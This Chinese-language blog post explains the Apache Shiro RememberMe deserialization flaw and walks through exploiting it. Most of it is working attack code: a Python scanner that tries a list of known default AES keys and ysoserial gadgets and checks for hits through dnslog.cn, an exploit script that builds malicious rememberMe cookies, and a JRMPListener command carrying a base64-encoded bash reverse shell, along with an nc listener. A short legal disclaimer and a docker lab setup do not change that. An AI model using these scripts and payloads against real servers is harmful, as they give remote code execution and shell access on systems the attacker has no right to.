一文看懂shiro反序列化漏洞

  • A+
所属分类:安全文章

点击蓝字关注我哦


Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。

一文看懂shiro反序列化漏洞


工 作 原 理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑如下:

获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化

在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值2、Base 64解码3、使用AES解密(加密密钥硬编码)4、进行反序列化操作(未作过滤处理)在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。


漏 洞 原 理

因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题
在 1.2.4 版本前,是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可以直接反序列化执行恶意代码
而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透


漏 洞 复 现

docker pull medicean/vulapps:s_shiro_1docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1访问 http://127.0.0.1:8081即可

漏洞扫描:shiro_scan.py

#! python2.7import osimport reimport base64import uuidimport subprocessimport requestsimport sysimport jsonimport timeimport randomimport argparsefrom Crypto.Cipher import AES
JAR_FILE = 'ysoserial.jar'
CipherKeys = [ "kPH+bIxk5D2deZiIxcaaaA==", "4AvVhmFLUs0KTA3Kprsdag==", "3AvVhmFLUs0KTA3Kprsdag==", "2AvVhdsgUs0FSA3SDFAdag==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "wGiHplamyXlVB11UXWol8g==", "cmVtZW1iZXJNZQAAAAAAAA==", "Z3VucwAAAAAAAAAAAAAAAA==", "ZnJlc2h6Y24xMjM0NTY3OA==", "L7RioUULEFhRyxM7a2R/Yg==", "RVZBTk5JR0hUTFlfV0FPVQ==", "fCq+/xW488hMTCD+cmJ3aQ==", "WkhBTkdYSUFPSEVJX0NBVA==", "1QWLxg+NYmxraMoxAXu/Iw==", "WcfHGU25gNnTxTlmJMeSpw==", "a2VlcE9uR29pbmdBbmRGaQ==", "bWluZS1hc3NldC1rZXk6QQ==", "5aaC5qKm5oqA5pyvAAAAAA==", #"ZWvohmPdUsAWT3=KpPqda", "r0e3c16IdVkouZgk1TKVMg==", "ZUdsaGJuSmxibVI2ZHc9PQ==", "U3ByaW5nQmxhZGUAAAAAAA==", "LEGEND-CAMPUS-CIPHERKEY==" #"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN", ]
gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]
session = requests.Session()def genpayload(params, CipherKey,fp): gadget,command = params if not os.path.exists(fp): raise Exception('jar file not found') popen = subprocess.Popen(['java','-jar',fp,gadget,command], stdout=subprocess.PIPE) BS = AES.block_size #print(command) pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() #key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(CipherKey), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
def getdomain(): try : ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text except Exception as e: print("getdomain error:" + str(e)) ret = "error" pass return ret
def getrecord(): try : ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text #print(ret) except Exception as e: print("getrecord error:" + str(e)) ret = "error" pass return ret
def check(url): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url
print("checking url:" + url)
domain = getdnshost() if domain: reversehost = "http://" + domain
for CipherKey in CipherKeys: ret = {"vul":False,"CipherKey":"","url":target}
try: print("try CipherKey :" +CipherKey)
payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)
print("generator payload done.")
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
print("send payload ok.") for i in range(1,5): print("checking.....")
time.sleep(2) temp = getrecord() if domain in temp: ret["vul"] = True ret["CipherKey"] = CipherKey break except Exception as e: print(str(e)) pass if ret["vul"]: break else: print("get dns host error") return ret
def exploit(url,gadget,params,CipherKey): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: payload = genpayload((gadget, params),CipherKey,JAR_FILE) r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10) print(r.text) except Exception as e: print("exploit error:" + str(e)) pass
def getdnshost(): reversehost = "" try : domain = getdomain() if domain=="error": print("getdomain error") else: #reversehost = "http://" +domain reversehost = domain #print("got reversehost : " + reversehost) except: pass return reversehost
def detector(url,CipherKey,command): result = [] if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: for g in gadgets: g = g.strip()
domain = getdnshost() if domain: if g == "JRMPClient": param = "%s:80" % domain else: param = command.replace("{dnshost}",domain) payload = genpayload((g, param),CipherKey,JAR_FILE) print(g + " testing.....") r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10) #print(r.read()) for i in range(1,5): #print("checking.....") time.sleep(2) temp = getrecord() if domain in temp: ret = g #ret["CipherKey"] = CipherKey result.append(ret) print("found gadget:t" + g) break else: print("get dns host error") #break #print(r.text) except Exception as e: print("detector error:" + str(e)) pass return result
def parser_error(errmsg): print("Usage: python " + sys.argv[0] + " [Options] use -h for help") sys.exit()
def parse_args(): # parse the arguments parser = argparse.ArgumentParser(epilog="tExample: rnpython " + sys.argv[0] + " -u target") parser.error = parser_error parser._optionals.title = "OPTIONS" parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True) parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False) parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False) parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False) parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False) return parser.parse_args()
if __name__ == '__main__': args = parse_args() url = args.url type = args.type command = args.params key = args.key gadget = args.gadget if type=="1": r = check(url) print("nvulnerable:%s url:%stCipherKey:%sn" %(str(r["vul"]),url,r["CipherKey"])) elif type=="2": exploit(url,gadget,command,key) print("exploit done.") elif type=="3": r = detector(url,key,command) if r : print("found gadget:n") print(r) else: print("invalid type")

一文看懂shiro反序列化漏洞

根据脚本里面的key进行扫描,并返回key

利用漏洞获取shell

使用jackson编码 http://www.jackson-t.ca/runtime-exec-payloads.html

一文看懂shiro反序列化漏洞

nc监听反弹shell的端口

nc -lvp 1234

使用ysoserial.jar的JRMP监听(本机或者vps上监听)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjguMTEuMTU5LzExMjMgMD4mMQ==}|{base64,-d}|{bash,-i}"

生成payload的exp:shiro_exp.py

# -*- coding: utf-8 -*-import uuidimport base64import subprocessimport sysfrom Crypto.Cipher import AES

def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() # 密钥使用检测成功的密钥 key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
python2 shiro_exp.py 10.228.11.159:6666 意思是把shell反弹到vsp(你的本机)上的6666端口

一文看懂shiro反序列化漏洞

burp请求

一文看懂shiro反序列化漏洞

成功获取shell

一文看懂shiro反序列化漏洞



一文看懂shiro反序列化漏洞

END

一文看懂shiro反序列化漏洞


一文看懂shiro反序列化漏洞


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,各种福利领不停,轻轻松松学习hacker技术!

在看你就赞赞我!
一文看懂shiro反序列化漏洞

一文看懂shiro反序列化漏洞
一文看懂shiro反序列化漏洞
一文看懂shiro反序列化漏洞
扫码关注我们
一文看懂shiro反序列化漏洞


扫码领hacker资料,常用工具,以及各种福利


一文看懂shiro反序列化漏洞

转载是一种动力 分享是一种美德


本文始发于微信公众号(台下言书):一文看懂shiro反序列化漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: